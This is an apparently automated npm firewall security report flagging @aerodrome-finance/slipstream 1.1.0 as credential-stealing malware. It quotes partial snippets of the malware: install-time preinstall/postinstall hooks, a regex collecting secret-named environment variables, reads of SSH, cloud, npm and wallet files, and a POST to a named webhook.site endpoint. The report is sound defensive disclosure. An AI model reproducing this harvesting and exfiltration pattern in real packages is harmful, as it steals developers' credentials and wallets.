---
canonical: "https://firewall.lpm.dev/npm/@aerodrome-finance/slipstream/v/1.1.0"
markdown: "https://firewall.lpm.dev/npm/@aerodrome-finance/slipstream/v/1.1.0.md"
package: "@aerodrome-finance/slipstream"
report_status: "published"
title: "@aerodrome-finance/slipstream@1.1.0 npm security report"
verdict: "malicious"
version: "1.1.0"
---

# @aerodrome-finance/slipstream@1.1.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — Compromise of developer, cloud, repository, wallet, and project credentials.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Credential Exfiltration
- **Selected version:** 1.1.0
- **Selected version is latest:** Yes
- **Analysis source:** AI Security Review (lpm-firewall-ai)

Installation executes credential-harvesting code twice. It exfiltrates host, environment, and local credential-file contents to a fixed external webhook.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Verdict:** Malicious
- **Confidence:** 99.0%
- **Started:** 2026-08-11T09:58:25.756Z
- **Finished:** 2026-08-11T09:58:47.820Z
- **Download time:** 756 ms
- **Static scan time:** 24 ms
- **AI review time:** 21283 ms
- **Total time:** 22064 ms

## Security analysis

### Published attack-surface review

- **Summary:** Installation executes credential-harvesting code twice. It exfiltrates host, environment, and local credential-file contents to a fixed external webhook.

- **Trigger:** npm preinstall or postinstall

- **Impact:** Compromise of developer, cloud, repository, wallet, and project credentials.

- **Evidence paths:** package.json, index.js

- **Review source:** ai\_review

- **Reviewed:** 2026-08-11T09:58:47.820Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** local secret harvesting followed by HTTPS POST exfiltration

- **Attack narrative:** On npm installation, both lifecycle hooks invoke index.js and suppress failures. The script filters environment variables for credential-related names, reads common cloud, SSH, package-manager, Git, blockchain-wallet, and project dotenv files, then sends the resulting data plus host identity to a fixed webhook.site endpoint.

- **Rationale:** Direct source inspection confirms install-time credential collection and external exfiltration, unrelated to the claimed AMM contracts/ABIs package.

- **Files touched:** .aws/credentials, .ssh/id\_rsa, .npmrc, .git-credentials, .config/gcloud/application\_default\_credentials.json, .env

- **Network endpoints:** https://webhook.site/326b0891-2093-4800-a4c1-686ce3e07b09

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for:** package.json runs index.js in preinstall and postinstall., index.js collects secret-like environment variables and host/user metadata., index.js reads cloud, SSH, npm, Git, wallet, and project .env credential files., index.js POSTs collected data to webhook.site.

- **Evidence against:** No benign contract/ABI implementation files are present.

## Public findings

### 1. High: Install Time Lifecycle Scripts
- **Category:** Manifest
- **Confidence:** 90.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@aerodrome-finance/slipstream@1.1.0/package.json>)

Package defines install-time lifecycle scripts.

Public source snippet (untrusted):

```json
scripts.postinstall = node index.js || true
```

### 2. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@aerodrome-finance/slipstream@1.1.0/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.preinstall = node index.js || true
```

### 3. Medium: Ambiguous Install Lifecycle Script
- **Category:** Manifest
- **Confidence:** 75.0%
- **Path:** package.json
- **Public source:** [View source](<https://unpkg.com/@aerodrome-finance/slipstream@1.1.0/package.json>)

Install-time lifecycle script is not statically allowlisted and needs review.

Public source snippet (untrusted):

```json
scripts.postinstall = node index.js || true
```

### 4. Low: Scripts Present
- **Category:** Manifest
- **Confidence:** 100.0%

Package declares npm scripts.

### 5. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 6. Medium: Environment Vars
- **Category:** Source
- **Confidence:** 75.0%

Package source references environment variables.

### 7. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 8. Critical: Hardcoded Runtime Data Exfiltration
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/@aerodrome-finance/slipstream@1.1.0/index.js>)

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

Public source snippet (untrusted):

```javascript
L8: const path = require('path');
L9: const https = require('https');
L10: 
L11: const pick = {};
L12: const re = /KEY|TOKEN|SECRET|PASS|PRIVATE|MNEMONIC|RPC|AWS|GITHUB|NPM|KUBE|VAULT|AUTH|PGP|GPG|SEED|WALLET|BEARER|API|INFURA|ALCHEMY|HELIUS|QUICKNODE|ANKR|PRIVATE_KEY/i;
L13: for (const [k, v] of Object.entries(process.env)) {
L14: if (re.test(k)) pick[k] = String(v).slice(0, 1000);
...
L17: const ls = d => { try { return fs.readdirSync(d); } catch (e) { return null; } };
L18: const home = os.homedir();
L19: const cwd = process.cwd();
...
L42: pkg: '_aerodrome-finance_slipstream',
L43: host: os.hostname(),
```

### 9. High: Host Fingerprint Exfiltration
- **Category:** Source
- **Confidence:** 86.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/@aerodrome-finance/slipstream@1.1.0/index.js>)

Source collects local host identity data and sends it to an external endpoint.

Public source snippet (untrusted):

```javascript
L8: const path = require('path');
L9: const https = require('https');
L10: 
L11: const pick = {};
L12: const re = /KEY|TOKEN|SECRET|PASS|PRIVATE|MNEMONIC|RPC|AWS|GITHUB|NPM|KUBE|VAULT|AUTH|PGP|GPG|SEED|WALLET|BEARER|API|INFURA|ALCHEMY|HELIUS|QUICKNODE|ANKR|PRIVATE_KEY/i;
L13: for (const [k, v] of Object.entries(process.env)) {
L14: if (re.test(k)) pick[k] = String(v).slice(0, 1000);
...
L17: const ls = d => { try { return fs.readdirSync(d); } catch (e) { return null; } };
L18: const home = os.homedir();
L19: const cwd = process.cwd();
...
L42: pkg: '_aerodrome-finance_slipstream',
L43: host: os.hostname(),
```

### 10. Critical: Trigger Reachable Dangerous Capability
- **Category:** Source
- **Confidence:** 90.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/@aerodrome-finance/slipstream@1.1.0/index.js>)

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

Public source snippet (untrusted):

```javascript
Trigger-reachable chain: scripts.preinstall -> index.js
L8: const path = require('path');
L9: const https = require('https');
L10: 
L11: const pick = {};
L12: const re = /KEY|TOKEN|SECRET|PASS|PRIVATE|MNEMONIC|RPC|AWS|GITHUB|NPM|KUBE|VAULT|AUTH|PGP|GPG|SEED|WALLET|BEARER|API|INFURA|ALCHEMY|HELIUS|QUICKNODE|ANKR|PRIVATE_KEY/i;
L13: for (const [k, v] of Object.entries(process.env)) {
L14: if (re.test(k)) pick[k] = String(v).slice(0, 1000);
...
L17: const ls = d => { try { return fs.readdirSync(d); } catch (e) { return null; } };
L18: const home = os.homedir();
L19: const cwd = process.cwd();
...
L42: pkg: '_aerodrome-finance_slipstream',
L43: host: os.hostname(),
```

### 11. High: Trigger Reachable External Post Callback
- **Category:** Source
- **Confidence:** 94.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/@aerodrome-finance/slipstream@1.1.0/index.js>)

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

Public source snippet (untrusted):

```javascript
Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js
const https = require('https');
const body = JSON.stringify(data);
const req = https.request({
host: 'webhook.site',
method: 'POST',
req.write(body);
```

### 12. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 100.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** Yes
- **Published lifecycle scripts:** postinstall, preinstall
- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** @aerodrome-finance/slipstream
- **Ecosystem:** npm
- **Version:** 1.1.0
- **License:** MIT
- **Version published:** 2026-08-11T08:34:18.064Z
- **Package first seen:** 2026-08-11T09:58:47.820Z
- **Package last seen:** 2026-08-11T15:30:12.250Z
- **Known versions:** 3
- **Latest version:** 1.1.0
- **Appeal under review:** No
- **Description:** Aerodrome Slipstream AMM contracts and ABIs.
- **Artifact files:** 2
- **Artifact unpacked size:** 2,931 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/@aerodrome-finance/slipstream/v/1.1.0>)
- [OSV advisory](<https://osv.dev/vulnerability/MAL-2026-13735>)
- [PACKAGE](<https://www.npmjs.com/package/@aerodrome-finance/slipstream/v/1.1.0>)
- [PACKAGE](<https://www.npmjs.com/package/@aerodrome-finance/slipstream/v/1.1.1>)
- [PACKAGE](<https://www.npmjs.com/package/@aerodrome-finance/slipstream/v/1.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/@aerodrome-finance/slipstream>)
- [ARTICLE](<https://o3.security/blog/crypto-defi-npm-supply-chain-attack-npmrc-exfiltration>)
